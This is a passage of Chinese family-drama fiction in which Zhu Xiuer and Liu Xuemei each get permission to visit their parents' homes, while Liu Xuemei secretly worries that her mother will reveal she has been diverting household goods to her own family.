为了显示自己可以,还在众人面前走来几步,笑着道,“娘,不用担心我,我身强体壮着呢,再说了我也是坐在牛车上面,伤不到这条腿。” 林老婆子又看了一眼朱秀儿,点了点头,“早去早回。” 朱秀儿喜极,“多谢爹娘!” 林老婆子收下忙活不停,闻言弯了弯唇角:“说什么谢不谢的,都是自家人。” 柳雪梅不满撇撇嘴,放下手中的活计,大声道:“娘,大嫂要回娘家通知自家人,我也想回娘家看看。” 宋二郎一听这话便狠狠皱起眉头,“你跟着胡闹什么!” 柳雪梅娘家近,走几步就到了,她平日里没事的时候就能回去,哪里用得着非得这种忙活的时候回娘家。 “二郎媳妇想回便回吧。”林老婆子摆摆手,不想做过多的计较。 柳雪梅瞪了宋二郎一眼,“怎么的,大嫂能回得了娘家,我就回不得了?” 宋二郎没接她的话茬,继续劈着柴火。 柳雪梅本就着急回娘家打探打探情况,上一次马氏的话一直在她耳边萦绕,要是秋税没交够,大哥二哥就得去服役。 虽然她已经表态,生养之恩已尽,也下定了决心要好好与宋二郎生活,但心里总是隐隐不安,担心马氏那样泼辣不讲理的性子,会上门来闹。 万一嘴没把住,将她这些年一直在拿婆家的好东西接济娘家的事倒出来,那她就彻底完了。 试问在这种缺银少粮的紧要关头,嚎一句你家媳妇经常补贴娘家那几个五大三粗的懒汉,谁会乐意? 柳雪梅越想越心悸。 不行,必须得把马氏的嘴给堵上!